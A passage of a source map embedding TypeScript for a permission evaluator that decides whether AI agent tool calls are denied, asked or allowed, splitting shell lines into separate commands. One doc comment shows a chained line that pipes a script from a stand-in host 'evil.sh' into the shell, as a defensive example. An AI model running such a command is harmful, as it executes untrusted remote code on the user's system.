{"version":3,"file":"evaluate.mjs","names":[],"sources":["../src/evaluate.ts"],"sourcesContent":["/**\n * Permission evaluator — deny-first rule matching.\n *\n * All permission rules are unified into a single `rules` array. Each rule has a `tier`\n * (deny/ask/allow), an optional `pattern`, and optional `when` conditions.\n *\n * Evaluation order:\n *\n * 1. All deny-tier rules (any match → \"deny\")\n * 2. All ask-tier rules (any match → \"ask\")\n * 3. All allow-tier rules (any match → \"allow\")\n * 4. DefaultMode fallback\n *\n * Deny always short-circuits — a deny from any source cannot be overridden by an allow from any\n * source.\n *\n * Pattern syntax (Claude Code compatible):\n *\n * - Exact: `git status` — string equality\n * - Prefix: `prefix:*` — word-boundary enforced prefix match\n * - Wildcard: `pattern * middle *` — regex with `.*` for `*`\n * - Bare tool (no pattern): matches any invocation\n * - Domain: `domain:example.com` — substring match on hostname\n *\n * Plus extensions:\n *\n * - Case-insensitive tool name matching\n * - `when.cwd` / `when.branch` conditions (AND logic)\n */\n\nimport {\n  hierarchicalGlobPattern,\n  prefixPattern,\n  wildcardPattern,\n} from \"trilean/derived-patterns\";\nimport { definite, indeterminate, type Evaluation } from \"trilean/evaluation\";\nimport type { ExpressionNode, PredicateNode } from \"trilean/tree\";\n\nimport { evaluatePredicateCondition, parsePredicate } from \"./predicate.ts\";\nimport { normaliseRemote } from \"./remote.ts\";\nimport { splitShellCommand } from \"./shell.ts\";\nimport type { Rule, RuleCondition } from \"./schema.ts\";\n\n// ---------------------------------------------------------------------------\n// Public types\n// ---------------------------------------------------------------------------\n\nexport type PermissionDecision = \"deny\" | \"ask\" | \"allow\";\n\nexport type PermissionTier = \"deny\" | \"ask\" | \"allow\";\n\nexport interface PermissionPolicy {\n  defaultMode: \"autonomous\" | \"standard\" | \"restricted\" | \"readonly\";\n  rules?: Rule[];\n  /** Where each rule came from (a file path, for the loader), keyed by the rule object itself. */\n  provenance?: ReadonlyMap<Rule, string>;\n  /**\n   * The layers the rules were merged from, outermost first, matched to rules through `provenance`.\n   * A ceiling layer bounds the allow rules of the layers after it: they only take effect where the\n   * ceiling also allows. A ceiling with no allow rules bounds nothing.\n   */\n  layers?: readonly { source: string; ceiling: boolean }[];\n  /** Limits on agents that start other agents; they apply to calls that carry a `depth`. */\n  delegation?: {\n    /** The deepest an agent may be nested; 0 allows no subagents. Unset means no limit. */\n    maxDepth?: number;\n    /** Calls a subagent may not make, however the rules above would decide them. */\n    nonDelegable?: readonly Rule[];\n  };\n}\n\n/** How one command was judged. */\nexport interface DecisionStep {\n  /** The command that was judged: the whole input, or one command of a shell line. */\n  command: string;\n  decision: PermissionDecision;\n  /**\n   * `rule`: a rule decided. `default`: no rule matched and the default mode decided. `unsplittable`:\n   * a shell line the splitter does not model, so a matching allow rule was raised to `ask`.\n   * `delegation`: a delegation limit denied the call.\n   */\n  reason: \"rule\" | \"default\" | \"unsplittable\" | \"delegation\";\n  /** The rule that matched, when one did. */\n  rule?: Rule;\n  /** Where that rule came from, when the policy records provenance. */\n  layer?: string;\n  /** Set when a `hidden` deny rule matched: the call is refused, and the tool should not be shown. */\n  hidden?: true;\n  /** Who may resolve an `ask`, from the matching rule's `approvers`, without the requester. */\n  approvers?: Approvers;\n}\n\n/** The principals who may resolve an ask, and how long it may wait before it expires as a deny. */\nexport interface Approvers {\n  roles: string[];\n  actors: string[];\n  timeoutSeconds?: number;\n}\n\n/** A decision with the steps behind it. */\nexport interface Explanation {\n  decision: PermissionDecision;\n  steps: DecisionStep[];\n  /** Whether a `hidden` deny rule matched any step, so the host should leave the tool out of its list. */\n  hidden: boolean;\n}\n\n/** Context for conditional rule evaluation (cwd, branch, etc.). */\nexport interface EvaluationContext {\n  cwd?: string;\n  branch?: string;\n  /** Environment variables the caller vouches for; an unset name is unknown, not empty. */\n  env?: Readonly<Record<string, string | undefined>>;\n  /** The git remote in any common URL form; it is normalised before comparing. */\n  remote?: string;\n  /** Who is making the call, as the host reports it; an unreported actor is unknown, not anonymous. */\n  actor?: string;\n  /** The roles the host says the actor holds; the policy does not say who holds a role. */\n  roles?: readonly string[];\n  /**\n   * How many agents sit between this call and the top-level agent: 0 for the top-level agent, 1 for\n   * its subagent. Left out, the call is the top-level agent's, so a host that runs subagents must\n   * pass it for the delegation limits to apply.\n   */\n  depth?: number;\n}\n\n// ---------------------------------------------------------------------------\n// Rule normalisation — convert string rules to structured rules\n// ---------------------------------------------------------------------------\n\n/**\n * Normalise a string rule from `permissions.allow/deny/ask` into a structured Rule.\n *\n * String rule syntax:\n *\n * - `\"Read\"` → `{ tool: \"Read\", tier }`\n * - `\"Bash(git status)\"` → `{ tool: \"Bash\", pattern: \"git status\", tier }`\n * - `\"Bash(npm:*)\"` → `{ tool: \"Bash\", pattern: \"npm:*\", tier }`\n * - `\"Bash()\"` → `{ tool: \"Bash\", tier }` (match all)\n * - `\"mcp__github__*\"` → `{ tool: \"mcp__github__*\", tier }`\n */\nexport function normaliseStringRule(rule: string, tier: PermissionTier): Rule {\n  const openIdx = findFirstUnescaped(rule, \"(\");\n  if (openIdx === -1) {\n    return { tool: rule, tier };\n  }\n  const closeIdx = findLastUnescaped(rule, \")\");\n  if (closeIdx === -1 || closeIdx <= openIdx || closeIdx !== rule.length - 1) {\n    return { tool: rule, tier };\n  }\n  const tool = rule.slice(0, openIdx);\n  if (!tool) {\n    return { tool: rule, tier };\n  }\n  const rawContent = rule.slice(openIdx + 1, closeIdx);\n  if (rawContent === \"\" || rawContent === \"*\") {\n    return { tool, tier };\n  }\n  return { tool, pattern: rawContent, tier };\n}\n\n// ---------------------------------------------------------------------------\n// Rule parsing — pattern matching\n// ---------------------------------------------------------------------------\n\n/** Parsed pattern — determines how a rule's pattern matches input. */\nexport type ParsedPattern =\n  | { type: \"exact\"; content: string }\n  | { type: \"prefix\"; prefix: string }\n  | { type: \"wildcard\"; pattern: string };\n\n// ---------------------------------------------------------------------------\n// Pattern compilation — delegated to trilean's pattern builders\n// ---------------------------------------------------------------------------\n\n/**\n * The subject a compiled pattern is written against.\n *\n * trilean's builders are pure tree construction: `wildcardPattern(subject, pattern)` performs no I/O and evaluates nothing, it just returns a `textCompare` node whose right-hand `textLiteral` holds the compiled regular-expression string. Only trilean's own `evaluatePredicate`/`createEvaluator` are async, and this evaluator does not use them — it reads the compiled string back out of the node and runs it against the input itself, keeping evaluation fully synchronous. The reference key is therefore never resolved by anything; it exists because a `textCompare` node needs a left-hand expression, and naming the subject makes the node readable if one is ever logged or serialised.\n */\nconst SUBJECT: ExpressionNode = { kind: \"reference\", key: \"subject\" };\n\n/**\n * Read the compiled regular-expression string back out of a pattern-builder node.\n *\n * Every builder returns the same shape — `textCompare`/`matches` over a `textLiteral` right-hand side — so anything else means trilean changed its node shape and the mismatch has to surface rather than silently degrade into a pattern that matches nothing.\n */\nfunction compiledPattern(node: PredicateNode): string {\n  if (node.kind !== \"textCompare\" || node.right.kind !== \"textLiteral\") {\n    throw new TypeError(\n      `Expected a textCompare node over a textLiteral, got ${node.kind}`,\n    );\n  }\n  return node.right.value;\n}\n\n/**\n * Compile a builder node to a `RegExp`.\n *\n * No flags: trilean compiles \"any character\" as `[\\s\\S]*` rather than `.*` precisely so the string behaves the same however a consumer compiles it, with or without the `s` flag.\n */\nfunction compiledRegex(node: PredicateNode): RegExp {\n  return new RegExp(compiledPattern(node));\n}\n\n/**\n * Parse a pattern string as rule content (from `Rule.pattern`). Determines rule type from the\n * content.\n */\nexport function parseRulePattern(pattern: string): ParsedPattern {\n  // Domain pattern: \"domain:example.com\" — substring match on input\n  if (pattern.startsWith(\"domain:\")) {\n    return {\n      type: \"wildcard\",\n      pattern: \"*\" + pattern.slice(7) + \"*\",\n    };\n  }\n\n  // Prefix syntax: \"prefix:*\"\n  const prefixMatch = /^(.+):\\*$/.exec(pattern);\n  if (prefixMatch?.[1]) {\n    const prefix = unescapeContent(prefixMatch[1]);\n    return { type: \"prefix\", prefix };\n  }\n\n  // Wildcard: has unescaped * (check raw content before unescaping)\n  if (hasUnescapedWildcard(pattern)) {\n    return { type: \"wildcard\", pattern };\n  }\n\n  // Exact: unescape for the final comparison string\n  const content = unescapeContent(pattern);\n  return { type: \"exact\", content };\n}\n\n// ---------------------------------------------------------------------------\n// Pattern matching\n// ---------------------------------------------------------------------------\n\n/** Compile a rule's pattern to a predicate over the input, building any regular expression once. */\nfunction compilePattern(pattern: string): (input: string) => boolean {\n  const parsed = parseRulePattern(pattern);\n  switch (parsed.type) {\n    case \"exact\":\n      return (input) => parsed.content === input;\n    case \"prefix\": {\n      const regex = compiledRegex(prefixPattern(SUBJECT, parsed.prefix));\n      return (input) => regex.test(input);\n    }\n    case \"wildcard\": {\n      // Claude Code compatible: `*` matches any run of characters, `\\*` and `\\\\` are literal, and a\n      // trailing ` *` also matches the bare command. The dialect is trilean's `wildcardPattern`.\n      const regex = compiledRegex(wildcardPattern(SUBJECT, parsed.pattern));\n      return (input) => regex.test(input);\n    }\n  }\n}\n\n/** Compile a simple glob (`*` matches any characters) to a predicate, building its regex once. */\nfunction compileGlob(pattern: string): (text: string) => boolean {\n  if (!pattern.includes(\"*\")) return (text) => pattern === text;\n  const regexStr = pattern\n    .replace(/[.+?^${}()|[\\]\\\\'']/g, \"\\\\$&\")\n    .replace(/\\*/g, \".*\");\n  const regex = new RegExp(`^${regexStr}$`);\n  return (text) => pattern === text || regex.test(text);\n}\n\n/**\n * Compile tool name matching — case-insensitive, with MCP server-level wildcards.\n *\n * - \"Bash\" matches \"bash\"\n * - \"mcp__server\" matches \"mcp__server__tool\"\n * - \"mcp__server__*\" matches all tools from server\n */\nfunction compileToolMatcher(ruleTool: string): (eventTool: string) => boolean {\n  const r = ruleTool.toLowerCase();\n  const rParts = r.startsWith(\"mcp__\") ? r.split(\"__\") : undefined;\n  const wholeGlob = compileGlob(r);\n  const wildcardServerTool =\n    rParts?.length === 3 && rParts[1] === \"*\" && rParts[2] !== undefined\n      ? compileGlob(rParts[2])\n      : undefined;\n\n  return (eventTool) => {\n    const e = eventTool.toLowerCase();\n    if (r === e) return true;\n\n    // MCP tool name matching\n    if (rParts !== undefined && e.startsWith(\"mcp__\")) {\n      const eParts = e.split(\"__\");\n      if (rParts.length === 2 && eParts.length >= 3) {\n        // \"mcp__server\" → all tools from that server\n        return rParts[1] === eParts[1];\n      }\n      if (rParts.length === 3 && eParts.length >= 3) {\n        // \"mcp__server__*\" → all tools from server\n        if (rParts[2] === \"*\") return rParts[1] === eParts[1];\n        // \"mcp__*__something\" → wildcard server name\n        if (wildcardServerTool !== undefined) {\n          const eTool = eParts[2];\n          if (eTool === undefined) return false;\n          return wildcardServerTool(eTool);\n        }\n      }\n    }\n\n    // Glob matching on bare tool names\n    return wholeGlob(e);\n  };\n}\n\n// ---------------------------------------------------------------------------\n// Condition matching\n// ---------------------------------------------------------------------------\n\n/**\n * Compile the `when` conditions of a rule. They combine with AND logic over three values: a condition\n * on a field the context does not carry is indeterminate rather than satisfied, and a definite\n * mismatch settles the conjunction even when another condition is indeterminate.\n */\nfunction compileConditions(\n  when: RuleCondition,\n): (ctx: EvaluationContext) => Evaluation<boolean> {\n  const checks: ((ctx: EvaluationContext) => Evaluation<boolean>)[] = [];\n  if (when.cwd !== undefined) {\n    checks.push(conditionOn(\"cwd\", when.cwd));\n  }\n  if (when.branch !== undefined) {\n    checks.push(conditionOn(\"branch\", when.branch));\n  }\n  for (const [name, expected] of Object.entries(when.env ?? {})) {\n    checks.push(envCondition(name, expected));\n  }\n  if (when.remote !== undefined) {\n    checks.push(remoteCondition(when.remote));\n  }\n  if (when.actor !== undefined) {\n    checks.push(actorCondition(when.actor));\n  }\n  if (when.role !== undefined) {\n    checks.push(roleCondition(when.role));\n  }\n  if (when.predicate !== undefined) {\n    const predicate = parsePredicate(when.predicate);\n    checks.push((ctx) => evaluatePredicateCondition(predicate, ctx));\n  }\n  return (ctx) => {\n    const results = checks.map((check) => check(ctx));\n    for (const result of results) {\n      if (result.status === \"definite\" && !result.value) return result;\n    }\n    for (const result of results) {\n      if (result.status === \"indeterminate\") return result;\n    }\n    return definite(true);\n  };\n}\n\nfunction envCondition(\n  name: string,\n  expected: string,\n): (ctx: EvaluationContext) => Evaluation<boolean> {\n  return (ctx) => {\n    const actual = ctx.env?.[name];\n    if (actual === undefined) {\n      return indeterminate(\"not-found\", `the context has no env ${name}`);\n    }\n    return definite(actual === expected);\n  };\n}\n\nfunction actorCondition(\n  pattern: string,\n): (ctx: EvaluationContext) => Evaluation<boolean> {\n  const matches = compileGlobPath(pattern);\n  return (ctx) => {\n    if (ctx.actor === undefined) {\n      return indeterminate(\"not-found\", \"the context has no actor\");\n    }\n    return definite(matches(ctx.actor));\n  };\n}\n\nfunction roleCondition(\n  pattern: string,\n): (ctx: EvaluationContext) => Evaluation<boolean> {\n  const matches = compileGlobPath(pattern);\n  return (ctx) => {\n    if (ctx.roles === undefined) {\n      return indeterminate(\"not-found\", \"the context has no roles\");\n    }\n    return definite(ctx.roles.some(matches));\n  };\n}\n\nfunction remoteCondition(\n  pattern: string,\n): (ctx: EvaluationContext) => Evaluation<boolean> {\n  const matches = compileGlobPath(pattern.toLowerCase());\n  return (ctx) => {\n    if (ctx.remote === undefined) {\n      return indeterminate(\"not-found\", \"the context has no remote\");\n    }\n    return definite(matches(normaliseRemote(ctx.remote)));\n  };\n}\n\nfunction conditionOn(\n  field: \"cwd\" | \"branch\",\n  pattern: string,\n): (ctx: EvaluationContext) => Evaluation<boolean> {\n  const matches = compileGlobPath(pattern);\n  return (ctx) => {\n    const actual = ctx[field];\n    if (actual === undefined) {\n      return indeterminate(\"not-found\", `the context has no ${field}`);\n    }\n    return definite(matches(actual));\n  };\n}\n\n/**\n * Compile glob matching for paths and branches. `*` matches any characters, `**` matches across path\n * separators.\n *\n * The dialect is trilean's `hierarchicalGlobPattern`, which this repo's own implementation was the\n * reference for. A pattern carrying no wildcard compiles to a fully-escaped literal, so it matches\n * exactly the text it equals and nothing else, and needs no regular expression.\n */\nfunction compileGlobPath(pattern: string): (text: string) => boolean {\n  if (!pattern.includes(\"*\") && !pattern.includes(\"?\")) {\n    return (text) => pattern === text;\n  }\n  const regex = compiledRegex(hierarchicalGlobPattern(SUBJECT, pattern));\n  return (text) => pattern === text || regex.test(text);\n}\n\n// ---------------------------------------------------------------------------\n// Main evaluator\n// ---------------------------------------------------------------------------\n\nconst TIERS: readonly PermissionTier[] = [\"deny\", \"ask\", \"allow\"];\n\n/**\n * Evaluate a tool call against the permission policy.\n *\n * Order: deny rules → ask rules → allow rules → defaultMode\n *\n * A `Bash` call is judged by every command its line runs, not by the line as a whole: a rule that\n * allows `git:*` does not allow `git status && curl evil.sh | sh`. The strictest decision among the\n * commands wins. A line that cannot be split with confidence is never allowed by a rule.\n */\nexport function evaluate(\n  policy: PermissionPolicy,\n  toolName: string,\n  input: string,\n  ctx: EvaluationContext = {},\n): PermissionDecision {\n  return compile(policy).evaluate(toolName, input, ctx);\n}\n\n/**\n * Evaluate a tool call and report how each command was judged: the rule that matched and the layer\n * it came from, or that the default mode decided. {@link evaluate} returns only the decision.\n */\nexport function explain(\n  policy: PermissionPolicy,\n  toolName: string,\n  input: string,\n  ctx: EvaluationContext = {},\n): Explanation {\n  return compile(policy).explain(toolName, input, ctx);\n}\n\n/**\n * The evaluator's delegation limits for a canonical `delegation` block: `nonDelegable` rule strings\n * become rules, and `undefined` comes back when neither limit is set. When several blocks apply,\n * the shallowest `maxDepth` wins and the `nonDelegable` lists are joined, so each layer can only\n * tighten the limits.\n */\nexport function delegationLimits(\n  ...blocks: readonly (\n    | { maxDepth?: number | undefined; nonDelegable?: string[] | undefined }\n    | undefined\n  )[]\n): PermissionPolicy[\"delegation\"] {\n  let maxDepth: number | undefined;\n  const nonDelegable: Rule[] = [];\n  for (const block of blocks) {\n    if (block?.maxDepth !== undefined) {\n      maxDepth = Math.min(maxDepth ?? block.maxDepth, block.maxDepth);\n    }\n    for (const rule of block?.nonDelegable ?? []) {\n      nonDelegable.push(normaliseStringRule(rule, \"deny\"));\n    }\n  }\n  if (maxDepth === undefined && nonDelegable.length === 0) return undefined;\n  return {\n    ...(maxDepth === undefined ? {} : { maxDepth }),\n    ...(nonDelegable.length === 0 ? {} : { nonDelegable }),\n  };\n}\n\n/**\n * Whether an agent at `depth` may start a subagent: denied when the subagent would sit deeper than\n * `delegation.maxDepth`, allowed otherwise, and always allowed when no limit is set.\n */\nexport function checkSpawn(\n  policy: PermissionPolicy,\n  depth: number,\n): \"allow\" | \"deny\" {\n  const maxDepth = policy.delegation?.maxDepth;\n  return maxDepth !== undefined && depth + 1 > maxDepth ? \"deny\" : \"allow\";\n}\n\n/**\n * Whether a tool should appear in the agent's tool list. A `hidden` deny rule that names the tool\n * with no pattern hides it; one with a pattern only refuses the matching inputs. A host that builds\n * a tool list leaves out the tools this reports as hidden.\n */\nexport function isToolVisible(\n  policy: PermissionPolicy,\n  toolName: string,\n  ctx: EvaluationContext = {},\n): boolean {\n  return compile(policy).isVisible(toolName, ctx);\n}\n\n/** The tools of a list that {@link isToolVisible} keeps, in their original order. */\nexport function visibleTools(\n  policy: PermissionPolicy,\n  toolNames: readonly string[],\n  ctx: EvaluationContext = {},\n): string[] {\n  const compiled = compile(policy);\n  return toolNames.filter((name) => compiled.isVisible(name, ctx));\n}\n\n/** A policy prepared for repeated evaluation. */\nexport interface CompiledPolicy {\n  evaluate(\n    toolName: string,\n    input: string,\n    ctx?: EvaluationContext,\n  ): PermissionDecision;\n  explain(\n    toolName: string,\n    input: string,\n    ctx?: EvaluationContext,\n  ): Explanation;\n  /** Whether the tool should be shown to the agent: no `hidden` deny rule hides it wholesale. */\n  isVisible(toolName: string, ctx?: EvaluationContext): boolean;\n}\n\n/**\n * Prepare a policy for repeated evaluation. Each rule's pattern, tool name and conditions are parsed\n * and turned into regular expressions the first time the rule is tried, then reused, so a server\n * checking many calls against one policy does that work once per rule instead of once per call.\n * The result decides exactly as {@link evaluate} does. It reads the policy's rules when compiled, so\n * compile again after changing them.\n */\nexport function compile(policy: PermissionPolicy): CompiledPolicy {\n  const rules = policy.rules ?? [];\n  const layers = policy.layers ?? [];\n  const layerIndex = new Map(\n    layers.map((layer, index) => [layer.source, index]),\n  );\n  const layerOf = (rule: Rule): number => {\n    const source = policy.provenance?.get(rule);\n    return (\n      (source === undefined ? undefined : layerIndex.get(source)) ??\n      layers.length\n    );\n  };\n  // Within a tier a `hidden` rule is tried first, so a call it covers is reported as hidden even\n  // when a plain rule of the same tier matches too.\n  const tiers = TIERS.map((tier) =>\n    rules\n      .filter((rule) => rule.tier === tier)\n      .sort((a, b) => Number(b.hidden === true) - Number(a.hidden === true))\n      .map((rule) => new CompiledRule(rule, layerOf(rule))),\n  );\n  // A ceiling bounds the allow rules of the layers after it, but only if it allows something itself.\n  const allowRules = tiers[TIERS.indexOf(\"allow\")] ?? [];\n  const ceilings = layers.flatMap((layer, index) => {\n    const allow = allowRules.filter((compiled) => compiled.layer === index);\n    return layer.ceiling && allow.length > 0 ? [{ index, allow }] : [];\n  });\n  const withinCeilings = (\n    candidate: CompiledRule,\n    toolName: string,\n    input: string,\n    ctx: EvaluationContext,\n  ): boolean =>\n    ceilings.every(\n      (ceiling) =>\n        ceiling.index >= candidate.layer ||\n        ceiling.allow.some((allow) => allow.grants(toolName, input, ctx)),\n    );\n  const fallback = defaultDecision(policy.defaultMode);\n  const maxDepth = policy.delegation?.maxDepth;\n  const nonDelegable = (policy.delegation?.nonDelegable ?? []).map(\n    (rule) => new CompiledRule(rule),\n  );\n\n  const judge = (\n    toolName: string,\n    command: string,\n    ctx: EvaluationContext,\n  ): DecisionStep => {\n    if ((ctx.depth ?? 0) > 0) {\n      const barred = nonDelegable.find(\n        (compiled) =>\n          compiled.matchesTool(toolName) && compiled.matchesInput(command),\n      );\n      if (barred !== undefined) {\n        return {\n          command,\n          decision: \"deny\",\n          reason: \"delegation\",\n          rule: barred.rule,\n        };\n      }\n    }\n    const match = matchRules(tiers, toolName, command, ctx, withinCeilings);\n    if (match === undefined) {\n      return { command, decision: fallback, reason: \"default\" };\n    }\n    const layer = policy.provenance?.get(match.rule);\n    return {\n      command,\n      decision: match.tier,\n      reason: \"rule\",\n      rule: match.rule,\n      ...(layer === undefined ? {} : { layer }),\n      ...(match.rule.hidden === true ? { hidden: true } : {}),\n      ...approversFor(match, ctx),\n    };\n  };\n\n  const resolve = (\n    toolName: string,\n    input: string,\n    ctx: EvaluationContext,\n  ): Pick<Explanation, \"decision\" | \"steps\"> => {\n    if (maxDepth !== undefined && (ctx.depth ?? 0) > maxDepth) {\n      return {\n        decision: \"deny\",\n        steps: [{ command: input, decision: \"deny\", reason: \"delegation\" }],\n      };\n    }\n    const whole = judge(toolName, input, ctx);\n    if (!isShellTool(toolName)) {\n      return { decision: whole.decision, steps: [whole] };\n    }\n\n    const commands = splitShellCommand(input);\n    if (commands === undefined) {\n      if (whole.reason === \"rule\" && whole.decision === \"allow\") {\n        return {\n          decision: \"ask\",\n          steps: [{ ...whole, decision: \"ask\", reason: \"unsplittable\" }],\n        };\n      }\n      return { decision: whole.decision, steps: [whole] };\n    }\n\n    // A rule written against the whole line can restrict it, but only the commands can grant it.\n    const steps = commands.map((command) => judge(toolName, command, ctx));\n    if (\n      whole.reason === \"rule\" &&\n      (whole.decision === \"deny\" || whole.decision === \"ask\")\n    ) {\n      steps.push(whole);\n    }\n    if (steps.length === 0) return { decision: whole.decision, steps: [whole] };\n    return { decision: strictest(steps.map((step) => step.decision)), steps };\n  };\n\n  const explainCall = (\n    toolName: string,\n    input: string,\n    ctx: EvaluationContext,\n  ): Explanation => {\n    const resolved = resolve(toolName, input, ctx);\n    return {\n      ...resolved,\n      hidden: resolved.steps.some((step) => step.hidden === true),\n    };\n  };\n\n  // A tool is hidden by a `hidden` deny rule that names it with no pattern. A condition that holds or\n  // is unknown hides it, as an unknown condition restricts and never grants.\n  const isVisible = (toolName: string, ctx: EvaluationContext): boolean =>\n    !(tiers[0] ?? []).some((compiled) => {\n      if (compiled.rule.hidden !== true) return false;\n      if (compiled.rule.pattern !== undefined) return false;\n      if (!compiled.matchesTool(toolName)) return false;\n      const conditions = compiled.conditions(ctx);\n      return !(conditions?.status === \"definite\" && !conditions.value);\n    });\n\n  return {\n    evaluate: (toolName, input, ctx = {}) =>\n      explainCall(toolName, input, ctx).decision,\n    explain: (toolName, input, ctx = {}) => explainCall(toolName, input, ctx),\n    isVisible: (toolName, ctx = {}) => isVisible(toolName, ctx),\n  };\n}\n\n/** The approvers of an ask that names some, without the requester. */\nfunction approversFor(\n  match: { tier: PermissionTier; rule: Rule },\n  ctx: EvaluationContext,\n): { approvers?: Approvers } {\n  const named = match.rule.approvers;\n  if (match.tier !== \"ask\" || named === undefined) return {};\n  return {\n    approvers: {\n      roles: [...(named.roles ?? [])],\n      actors: (named.actors ?? []).filter((actor) => actor !== ctx.actor),\n      ...(named.timeoutSeconds === undefined\n        ? {}\n        : { timeoutSeconds: named.timeoutSeconds }),\n    },\n  };\n}\n\n/** A rule with the matching work done on first use and kept. */\nclass CompiledRule {\n  readonly rule: Rule;\n  /** Index of the layer the rule came from; past the last layer when that is unknown. */\n  readonly layer: number;\n  #toolMatches: ((toolName: string) => boolean) | undefined;\n  #patternMatches: ((input: string) => boolean) | undefined;\n  #conditions: ((ctx: EvaluationContext) => Evaluation<boolean>) | undefined;\n\n  constructor(rule: Rule, layer = 0) {\n    this.rule = rule;\n    this.layer = layer;\n  }\n\n  /** Whether this rule, as an allow, grants the call: it matches and no condition is unknown. */\n  grants(toolName: string, input: string, ctx: EvaluationContext): boolean {\n    if (!this.matchesTool(toolName)) return false;\n    const conditions = this.conditions(ctx);\n    if (conditions !== undefined) {\n      if (conditions.status !== \"definite\" || !conditions.value) return false;\n    }\n    return this.matchesInput(input);\n  }\n\n  matchesTool(toolName: string): boolean {\n    this.#toolMatches ??= compileToolMatcher(this.rule.tool);\n    return this.#toolMatches(toolName);\n  }\n\n  /** Whether the input matches; a rule with no pattern matches any input. */\n  matchesInput(input: string): boolean {\n    if (this.rule.pattern === undefined) return true;\n    this.#patternMatches ??= compilePattern(this.rule.pattern);\n    return this.#patternMatches(input);\n  }\n\n  /** The rule's conditions under this context, or `undefined` when it has none. */\n  conditions(ctx: EvaluationContext): Evaluation<boolean> | undefined {\n    if (this.rule.when === undefined) return undefined;\n    this.#conditions ??= compileConditions(this.rule.when);\n    return this.#conditions(ctx);\n  }\n}\n\n/** The first rule that matches, checking deny before ask before allow, or `undefined`. */\nfunction matchRules(\n  tiers: readonly (readonly CompiledRule[])[],\n  toolName: string,\n  input: string,\n  ctx: EvaluationContext,\n  withinCeilings: (\n    candidate: CompiledRule,\n    toolName: string,\n    input: string,\n    ctx: EvaluationContext,\n  ) => boolean,\n): { tier: PermissionTier; rule: Rule } | undefined {\n  for (const [index, tier] of TIERS.entries()) {\n    for (const compiled of tiers[index] ?? []) {\n      if (!compiled.matchesTool(toolName)) continue;\n      const conditions = compiled.conditions(ctx);\n      if (conditions?.status === \"definite\" && !conditions.value) continue;\n      // An unknown condition may hold, so it still restricts, but it never grants.\n      if (conditions?.status === \"indeterminate\" && tier === \"allow\") continue;\n      if (!compiled.matchesInput(input)) continue;\n      // An allow that a ceiling above its layer does not also allow is not a grant\n      if (tier === \"allow\" && !withinCeilings(compiled, toolName, input, ctx)) {\n        continue;\n      }\n      return { tier, rule: compiled.rule };\n    }\n  }\n  return undefined;\n}\n\n/** Whether a tool runs shell command lines, whose contents are split before judging. */\nfunction isShellTool(toolName: string): boolean {\n  return toolName.toLowerCase() === \"bash\";\n}\n\n/** The most restrictive decision: deny over ask over allow. */\nfunction strictest(\n  decisions: readonly PermissionDecision[],\n): PermissionDecision {\n  if (decisions.includes(\"deny\")) return \"deny\";\n  if (decisions.includes(\"ask\")) return \"ask\";\n  return \"allow\";\n}\n\nfunction defaultDecision(\n  mode: PermissionPolicy[\"defaultMode\"],\n): PermissionDecision {\n  switch (mode) {\n    case \"autonomous\":\n      return \"allow\";\n    case \"readonly\":\n      return \"deny\";\n    case \"restricted\":\n      return \"ask\";\n    default:\n      return \"ask\";\n  }\n}\n\n// ---------------------------------------------------------------------------\n// Escape helpers (Claude Code compatible)\n// ---------------------------------------------------------------------------\n\n/** Find first unescaped occurrence of `char`. */\nfunction findFirstUnescaped(str: string, char: string): number {\n  for (let i = 0; i < str.length; i++) {\n    if (str[i] === char) {\n      let bs = 0;\n      let j = i - 1;\n      while (j >= 0 && str[j] === \"\\\\\") {\n        bs++;\n        j--;\n      }\n      if (bs % 2 === 0) return i;\n    }\n  }\n  return -1;\n}\n\n/** Find last unescaped occurrence of `char`. */\nfunction findLastUnescaped(str: string, char: string): number {\n  for (let i = str.length - 1; i >= 0; i--) {\n    if (str[i] === char) {\n      let bs = 0;\n      let j = i - 1;\n      while (j >= 0 && str[j] === \"\\\\\") {\n        bs++;\n        j--;\n      }\n      if (bs % 2 === 0) return i;\n    }\n  }\n  return -1;\n}\n\n/** Check if pattern has unescaped * (not :* suffix). */\nfunction hasUnescapedWildcard(pattern: string): boolean {\n  if (pattern.endsWith(\":*\")) return false;\n  for (let i = 0; i < pattern.length; i++) {\n    if (pattern[i] === \"*\") {\n      let bs = 0;\n      let j = i - 1;\n      while (j >= 0 && pattern[j] === \"\\\\\") {\n        bs++;\n        j--;\n      }\n      if (bs % 2 === 0) return true;\n    }\n  }\n  return false;\n}\n\n/** Unescape content: ( → (, ) → ), * → *, \\ → \\ */\nfunction unescapeContent(content: string): string {\n  return content\n    .replace(/\\\\\\(/g, \"(\")\n    .replace(/\\\\\\)/g, \")\")\n    .replace(/\\\\\\*/g, \"*\")\n    .replace(/\\\\\\\\/g, \"\\\\\");\n}\n\n// ---------------------------------------------------------------------------\n// Structured rule → string\n// ---------------------------------------------------------------------------\n\n/**\n * Convert a structured Rule back to a string rule (e.g. `\"Bash(npm:*)\"`).\n *\n * Returns just the tool name for bare rules (no pattern).\n */\nexport function ruleToString(rule: Rule): string {\n  if (rule.pattern === undefined) return rule.tool;\n  return `${rule.tool}(${rule.pattern})`;\n}\n\n/**\n * What decided a step: the matching rule with its tier and, when recorded, the layer it came from (`Bash(git:*) [allow] from /repo/.agents/permissions.json`), or `the default mode`.\n */\nexport function stepSource(step: DecisionStep): string {\n  if (step.rule === undefined) return \"the default mode\";\n  const layer = step.layer === undefined ? \"\" : ` from ${step.layer}`;\n  return `${ruleToString(step.rule)} [${step.rule.tier}]${layer}`;\n}\n\n/**\n * Collect all rules from a canonical policy, normalising both `rules[]` and\n * `permissions.allow/deny/ask` into a single array.\n */\nexport function collectRules(policy: {\n  rules?: Rule[] | undefined;\n  roles?:\n    | Record<\n        string,\n        {\n          allow?: string[] | undefined;\n          deny?: string[] | undefined;\n          ask?: string[] | undefined;\n        }\n      >\n    | undefined;\n  permissions?:\n    | {\n        allow?: string[] | undefined;\n        deny?: string[] | undefined;\n        ask?: string[] | undefined;\n      }\n    | undefined;\n}): Rule[] {\n  const result: Rule[] = [];\n\n  if (policy.permissions) {\n    if (policy.permissions.deny) {\n      result.push(\n        ...policy.permissions.deny.map((r) => normaliseStringRule(r, \"deny\")),\n      );\n    }\n    if (policy.permissions.ask) {\n      result.push(\n        ...policy.permissions.ask.map((r) => normaliseStringRule(r, \"ask\")),\n      );\n    }\n    if (policy.permissions.allow) {\n      result.push(\n        ...policy.permissions.allow.map((r) => normaliseStringRule(r, \"allow\")),\n      );\n    }\n  }\n\n  if (policy.rules) {\n    result.push(...policy.rules);\n  }\n\n  // A role's rules apply to the actors holding it, as if each carried `when: { role }`.\n  for (const [role, tiers] of Object.entries(policy.roles ?? {})) {\n    for (const tier of [\"deny\", \"ask\", 